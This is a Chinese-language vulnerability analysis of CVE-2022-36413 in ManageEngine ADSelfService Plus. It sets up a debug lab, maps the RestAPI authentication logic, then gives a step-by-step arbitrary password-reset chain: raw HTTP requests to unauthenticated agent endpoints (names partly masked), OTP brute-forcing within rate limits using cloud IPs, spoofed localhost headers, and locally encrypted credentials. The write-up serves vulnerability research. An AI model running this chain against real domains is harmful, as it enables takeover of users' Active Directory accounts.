一、组件概述
1.关键词
AD、云应用、单点登录
2.概述
ZOHO ManageEngine ADSelfService Plus是美国卓豪(ZOHO)公司的针对 Active Directory 和云应用程序的集成式自助密码管理和单点登录解决方案。允许最终用户执行密码重置,帐户解锁和配置文件信息更新等任务,而不依赖于帮助台。ADSelfService Plus提供密码自助重置/解锁,密码到期提醒,自助服务目录更新程序,多平台密码同步器以及云应用程序的单点登录。
3.使用范围及行业分布
大中小型企业,内部使用windows域管理
二、环境搭建、动态调试
1.环境搭建
各版本下载地址,下载exe一键安装即可
https://archives.manageengine.com/self-service-password
安装后默认用户密码admin、admin,访问8888 端口
2.动态调试
修改conf/wrapper.conf 文件,添加JDWP调试参数
成功debug
组件web服务由Tomcat启动,Tomcat版本xxx,启动脚本为bin/runAsAdmin.bat,主配置文件\conf\wrapper.conf,配置了各项启动参数,最终完全启动参数如下
"..\jre\bin\java" -Dcatalina.home=.. -Dserver.home=.. -Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=n -Duser.home=../logs -Dlog.dir=../logs -Ddb.home=../pgsql -Dcheck.tomcatport="true" -Dproduct.home=.. -DHTTP_PORT=8888 -DSSL_PORT=9251 -Dfile.encoding=UTF-8 -Djava.io.tmpdir=../temp -XX:OnOutOfMemoryError="SetMaxMemory.bat" -Dhaltjvm.on.dbcrash="true" -Dorg.apache.catalina.SESSION_COOKIE_NAME=JSESSIONIDADSSP -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 -XX:-CreateMinidumpOnCrash -Dmail.smtp.timeout=30000 -Dorg.apache.catalina.authenticator.Constants.SSO_SESSION_COOKIE_NAME=JSESSIONIDADSSPSSO -Xms50m -Xmx256m -Djava.library.path="../lib/native;../jre/lib" -classpath "略" -Dwrapper.key="PIskDhkG89EFqv0f0ijb69bgHwHC9ybE" -Dwrapper.port=32000 -Dwrapper.jvm.port.min=31000 -Dwrapper.jvm.port.max=31999 -Dwrapper.pid=2884 -Dwrapper.version="3.5.35-pro" -Dwrapper.native_library="wrapper" -Dwrapper.arch="x86" -Dwrapper.cpu.timeout="10" -Dwrapper.jvmid=1 -Dwrapper.lang.domain="wrapper" -Dwrapper.lang.folder="../lang" org.tanukisoftware.wrapper.WrapperSimpleApp com.adventnet.start.ProductTrayIcon conf/TrayIconInfo.xml StartADSM
启动入口方法为com.adventnet.start.ProductTrayIcon#main,启动过程这里不展开详细分析
路由
入手点为web.xml ,梳理后,可以将路由做大致如下分类
/RestAPI/ => org.apache.struts.action.ActionServlet /api/json/ => com.manageengine.ads.fw.api.JSONAPIServlet /ServletAPI/* /RestAPI/WC/Clustering/* /RestAPI/Clustering/* /m/mLoginAction /m/mSelfService /m/mMFA => com.manageengine.ads.fw.common.api.ServletAPI
以及在web.xml 中单独配置的一些sevlet
身份校验
这里针对此漏洞着重对RestAPI展开分析
web.xml 中对/RestAPI/WC/* 路由做了身份校验,其它路由未进行配置。
关于RestAPI相关的校验在ADSFilter 全局filter中做了操作,判断了是否为RestAPI接口,如果是,将进入com.manageengine.ads.fw.api.RestAPIFilter#doAction,进入不同的校验逻辑。
这里的身份校验,
RestAPI的重点校验逻辑在RestAPIFilter中,而更加具体的校验存在数据库中
select * from ADSProductAPIs
大概分为这几类:需要session,需要HANDSHAKE_KEY,无需身份校验。
其它安全机制
security.xml
这里列出了每个API的参数(类型,长度,正则),请求方法,是否需要csrf等
四、CVE-2022-36413
Zoho ManageEngine ADSelfService Plus支持第三方登录方式,前提条件需要后台配置身份校验数据库
http://192.168.33.33:8888/webclient/index.html?#/configuration/selfservice/idm-applications
身份验证绕过部分也还是利用了RestSAPI,我们知道RestAPI的身份校验逻辑是ADSFilter 全局filter中做了操作,判断了是否为RestAPI接口,如果是,将进入
com.manageengine.ads.fw.api.RestAPIFilter#doAction做具体的权限验证,
这里判断接口是否需要权限认证存储在PostgreSQL中,
select * from ADSProductAPIs
很幸运的,我们找到了三个未授权接口来完成这个任意密码重置
Step 1:PM_INITIAILIZE_AGENT
POST /RestAPI/PMAgent/****** HTTP/1.1 Host: 192.168.33.133:8888 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0 Time:1656925239 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://192.168.33.133:8888/webclient/index.html? Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 195 something
这里的一些参数需要特殊构造,首先是时间戳,这个比较好解决
然后是machineName,如果在当前域,容易得到 PS:无需登录即可获取域名
opt参数,这个参数是一个六位数字,容易暴力破解,此参数校验逻辑如下com.manageengine.adssp.server.api.authorization.PasswordSyncAgentAPIAuthorizer#verifyAgent if ((new Date()).getTime() / 1000L - requsetTime < 300L && requsetTime - (new Date()).getTime() / 1000L < 300L)
我们有五分钟的时间来使用爆破
com.adventnet.iam.security.DoSController#controlDoS防御暴力破解是在这里完成的,
时间戳不变,每个ip地址可以发送1000个请求 100000/1000 = 100
综上所述,我们可以在可接受的时间内获取otp参数,而且使用像亚马逊或谷歌这样的云服务提供商,那实际上很容易。执行一百万个代码的完整攻击将花费大约 150 美元
这里展示了真实攻击的案例:https://thezerohack.com/hack-any-instagram
成功获取加密码加解密key
Step 2:PM_PASSWORD_SYNC
POST /RestAPI/PMAgent/****** HTTP/1.1 Host: 192.168.33.33:8888 Time:1657012207 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/2010101 Firefox/101.0 Accept: application/json, text/javascript, */*; q=0.01 REMOTE_USER_IP:127.0.0.1 ZSEC_PROXY_SERVER_NAME:aaa Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close X-Forwarded-For:127.0.0.1 Referer: http://192.168.33.33:8888/webclient/index.html? Content-Type: application/x-www-form-urlencoded Content-Length: 300 otp=294608&operation=passwordSync&username=254,147,58,204,126,202,25,240,150,20,124,148,236,167,85,25,16&machineName=TEST-DC-01.test.com&password=254,147,58,204,126,202,25,240,150,20,124,148,236,167,85,25,16&time=165512621862411&PRODUCT_NAME=nnn&domainName=test.com&machineFQDName=TEST-DC-01.test.com
重置用户名和密码,我们可以通过PM_INITIALIZE_AGENT操作,但是用户名密码需要加密下
程序通过动态加载动态链接库实现的AES加密,解密需要做一些处理,通过分析ManageEngineADSFramework.dll,本地构造出加密后的用户名密码
成功修改用户名密码
五、参考链接
https://www.manageengine.com/products/self-service-password/advisory/CVE-2022-36413.html